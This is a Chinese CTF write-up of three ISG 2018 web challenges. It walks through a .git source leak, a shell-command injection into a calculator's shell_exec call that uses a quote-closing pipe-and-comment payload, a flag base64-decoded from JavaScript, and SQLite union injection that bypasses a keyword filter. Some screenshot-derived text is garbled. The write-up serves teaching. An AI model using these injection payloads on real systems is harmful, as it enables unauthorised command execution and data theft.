ISG 2018 Web Writeup



原文来自: ISG 2018 Web Writeup

ISG 2018 Web Writeup

CTF萌新,所以写的比较基础,请大佬们勿喷,比赛本身的Web题也不难

calc

首先看到题目后,在输入框中测试了一下,发现可以被执行

calculator



首先猜想是不是ssti,模板注入,但是平常遇到的模板注入题目中,python的居多,php的没怎么遇到过,有点 怀疑如果是php的模板注入的话也不一定能搞得出来,这个时候扫一下目录

python dirsearch.py -u http://202.120.7.205:60003/ -e php -t 60

发现存在git源码泄露

F:\CTF工具箱\Web\dirsearch-master\dirsearch-master>python dirsearch.py -u http://202.120.7.205:60003/ -e php -t 60
Extensions: php Threads: 60 Wordlist size: 5963
Error Log: F:\CTF工具箱\Web\dirsearch-master\dirsearch-master\logs\errors-18-08-30_14-34-24.log
Target: http://202.120.7.205:60003/
<pre>[14:34:34] Starting: [14:35:14] 400 - 166B - /%2e%2e/google.com [14:35:25] 301 - 178B - /.git/ [14:35:26] 403 - 564B - /.git/branches/ [14:35:34] 403 - 564B - /.git/OMMIT_EDITMSG [14:35:35] 200 - 131B - /.git/COMMIT_EDITMSG [14:35:35] 200 - 131B - /.git/config [14:35:35] 200 - 137B - /.git/index [14:35:35] 200 - 137B - /.git/index [14:35:35] 200 - 137B - /.git/refs/heads/master [14:35:35] 200 - 137B - /.git/refs/heads/master [14:35:35] 301 - 178B - /.git/refs/heads -> http://202.120.7.205/.git/refs/heads/ [14:35:35] 301 - 178B - /.git/refs/heads -> http://202.120.7.205/.git/logs/refs/heads/ [14:35:35] 301 - 178B - /.git/logs/refs/heads -> http://202.120.7.205/.git/logs/refs/heads/ [14:35:35] 301 - 178B - /.git/logs/refs -> http://202.120.7.205/.git/logs/refs/heads/ [14:35:35] 301 - 178B - /.git/logs/refs -> http://202.120.7.205/.git/logs/refs/ [14:35:35] 200 - 240B - /.git/info/kclude [14:35:35] 200 - 240B - /.git/info/exclude [14:35:36] 403 - 564B - /.git/logs/refs/heads/master [14:35:36] 403 - 564B - /.git/logs/refs/heads/master [14:35:36] 403 - 564B - /.git/logs/ [14:35:36] 403 - 564B - /.</pre>

直接上githack看看能够拖下来什么东西

python2 GitHack.py -u "http://202.120.7.205:60003/.git/"

```
F:\CTF工具箱\Web\GitHack-master>python2 GitHack.py -u "http://202.120.7.205:60003/.git/"
[+] Download and parse index file ...
index.php
[OK] index.php
F:\CTF工具箱\Web\GitHack-master>
```

F:\CTF工具箱\Web\GitHack-master> F:\CTF工具箱\Web\GitHack-master>

将index.php下载了下载

开启代码审计模式

第22~27行对GET方法是否被使用做了一次判断

第40~42行对变量\$str是否为空做了一次判断

```
<?php
if($str !== ""){
}
?>
```

接下来到第44~46行这里,看到使用了shell exec函数,基本可以判断为命令注入了

<?php

echo \$str." = ".shell_exec("echo \"\$str\" | bc"); ?>

接下来开始绕过

测试的话可以把shell exec里面的内容粘贴到linux 的bash中进行测试

echo \"str" | bc

可以看到\"转义字符输出",

即

echo "\$str" | bc

\$str函数是我们可以控制的值

开始绕过之旅

|在命令执行漏洞中经常用到,表示管道,上一条命令的输出,作为下一条命令参数

所以,会把echo 后的内容传值到bc命令,但是经过测试发现bc命令是不存在的,所以用linux中的注释符#

注释掉它,基本构造如下

echo "\$str#" | bc

这样来说,可以注释掉后面的bc命令了,但是因为有"的阻碍,使我们没法达到目的,所以闭合掉双引号,再加 上管道符

构造如下

echo ""|\$str#" | bc

<pre>root@kali:~# echo "" ls #" bc</pre>	avt tyt	-100
192.168.78.110 and task-crypto	hydra.restore	user.txt
1.php	images_all	wifuzz-master
1.py	index.html	公共
999999999999999999999999	nc	流量包
attack and a second	packages	模板
autorunp10001	passwd.txt	视频
disk ppp.jpg task-file.img	shell.php	图片
edu	test	文档
Empire	test01_1	下载
ens3-20180821-133513.pcap	test02	音乐
ens3-20180821-140224.pcap	test02_1 ens	桌面
enş3,20180821-142531.pcap task_ppap.	test03 20180	0821-
flag.ahiosdfhoashdihfiods.ahsuidfoiashid	test03_1 09413	7. pc

将\$str替换为1s命令,本地验证通过

calculator

	1+1	calculate	
	" Is # = index.php there_1s_4_fl4g		
发现	flag 文件there_1s_4_fl4g		

构造payload读取

"| cat there_1s_4_fl4g #

calculator

1+1	calculate
" cat there_1s_4_fl4g # =	
ISG{522b28987a79534f8a38b25	ebcc474fb}

secret

题目打开之后有弹窗

🔇 http://202.120.7.207:60007/trap.html 显示:	×
脚本提 Password	确定 取消

随便输入后,提示密码错误,右击查看源代码 发现第6~16行中包含了密码和要输出的内容

```
<script type="text/javascript">
    a = prompt("Password");
    if(a=="H4CK3D")
    {
        alert("Flag is '"+atob("WW91IGFyZSBUcmFwcGVkIDopIFRoaXMgaXMgbm90IHRoZSBmbGFnLiBDaGVjayBhcm91bmQu")+
```

其中prompt方法用于显示可提示用户进行输入的对话框

atob函数是javascript中用于解密base64编码的方法,直接解密字符串

>>> import base64 >>> base64.b64decode("WW91IGFyZSBUcmFwcGVkIDopIFRoaXMgaXMgbm90IHRoZSBmbGFnLiBDaGVjayBhcm91bmQu") b'You are Trapped :) This is not the flag. Check around.'

发现并没有flag

提示让我们去周围找一找

访问index.html页面,发现进行了302跳转到了trap.html页面

我们直接查看index.html页面的源码

rsinc()	$(\tau) \leftarrow \mathbf{O}$	D • C	view-source	e:http:// 202.1	20.7.207:600	07/inde	x.html			
	☆ 收藏	• 🕞 实验室	🗌 登录-量安	🕞 http://127	诺 python 文	🛛 登陆	🕞 Google	🕞 CTF论坛-CT	🕞 luan博客	译 F
\	📸 prompt_i	🗙 🛛 🛐 нт	ML DC 🗙 🗸 🗲	linux中的&×	🖇 Sqlite注入	× 🗸 🗅 8	94761-2 ×	🗲 sys.path.a 🗙	🛛 🗲 os.pat	th.d 🔉
	<pre>1 <!DOCTYPE ht; 2 <html> 3 <head> 4 <meta cha<br=""/>5 5 <script type="<br"></script></head></html></pre>									

在45~55行中发现类似的前一个页面的代码

```
<script type="text/javascript">
    a = prompt("Password");
    if(a=="H4CK3D")
    {
        alert("Flag is "+atob("ZmxhZzpJU0d7SDNJSU9fMXNHX2pzX1RyNHB9")); } else {        alert(
```

直接解密得到flag

```
>>> import base64
>>> base64.b64decode("ZmxhZzpJU0d7SDNJSU9fMXNHX2pzX1RyNHB9")
b'flag:ISG{H3II0_1sG_js_Tr4p}'
```

news

这个题考察了sqlite的注入,进行了简单的危险函数判断

这里刚开始普及一些sqllite知识

sqllite基础

sqllite数据库注入和mysql数据库注入很像,不同点在于,sqllite数据库没有information_schema数据库,而 是采用sqlite_master表,来存储当前数据库中所有表的相关信息,比如表的名称、用于创建此表的sql语 句、索引、索引所属的表、创建索引的sql语句等。它的字段有

type,name,tbl_name,rootpage,sql

type为类型

1.查询表信息

如果要查询表的信息,则type字段为"table",name字段为表的名称,返回结果中返回的sql字段,为创建此表的sql语句。

select * from sqlite_master where type='table' and name='表名';

2.查询索引信息

如果要查询索引信息,则type字段为"index",name字段为索引名称,返回结果中的tbl_name字段为该索引所属的表,sql字段为创建此索引的sql语句。

select * from sqlite_master where type='index' and name='索引名';

sq1为创建数据表的语句,这个对我们非常有用

name 对于表来说,是当前表的名字,对于索引来说是当前索引的名称

tbl_name是该索引所属的表的名字

rootpage 根据字面意思理解,应该是这个对象在数据库文件中的第一个页面位置。类似链表的一个指针

手工注入

首先去看它的codesafe函数这里判断了什么内容

在代码的第47~51行

def codesafe(n):

if re.search("select", n) or re.search(" ", n) or re.search("where", n) or re.search("=", n) or re.sear

可以看到,当其中有select、空格、where、=、'时,返回False

会触发第73~74行这里进行截断返回

了解请了这些后,开始注入

首先,判断空格可以通过/**/,来进行绕过,判断select可以采用大小写来绕过

where和=可以不用

这里采用了伪静态的模式,后面拼接.html可能是web.py框架里面内置判断,不拼接.html会显示404页面

开始注入

判断字段数为2

http://202.120.7.206:60019/news-1/**/order/**/by/**/2.html

判断显示位

http://202.120.7.206:60019/news-4/**/union/**/Select/**/1,2.html

 JRL
 http://202.120.7.206:60019/news-4/**/union/**/Select/**/1,2.html

 IRL
 IRL

 IRL
 Enable Post data

2

1

查看建表的sql语句,可以直接获取字段和表名

http://202.120.7.206:60019/news-4/**/union/**/Select/**/sql,2/**/from/**/sqlite_master.html

1	- + SQL X33 Enclyption Encoding Other
Lo <u>a</u> d URL	http://202.120.7.206:60019/news-4/**/union/**/Select/**/sql,2/**/from/**/sqlite_master.html
<u>S</u> plit URL	
E <u>x</u> ecute	
	Enable Post data Enable Referrer

CREATE TABLE "flag" ("flag" TEXT)

2

直接查看flag

http://202.120.7.206:60019/news-4/**/union/**/Select/**/flag,2/**/from/**/flag.html

· ~	- • SQL- XSS- Encryption- Encoding- Other-
.o <u>a</u> d URL	http://202.120.7.206:60019/news-4/**/union/**/Select/**/flag,2/**/from/**/flag.html
<u>i</u> plit URL	
Execute	
	Enable Post data Enable Referrer

ISG {7a78683a929dbc6bd8e5e96f0c185b16}

2

大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~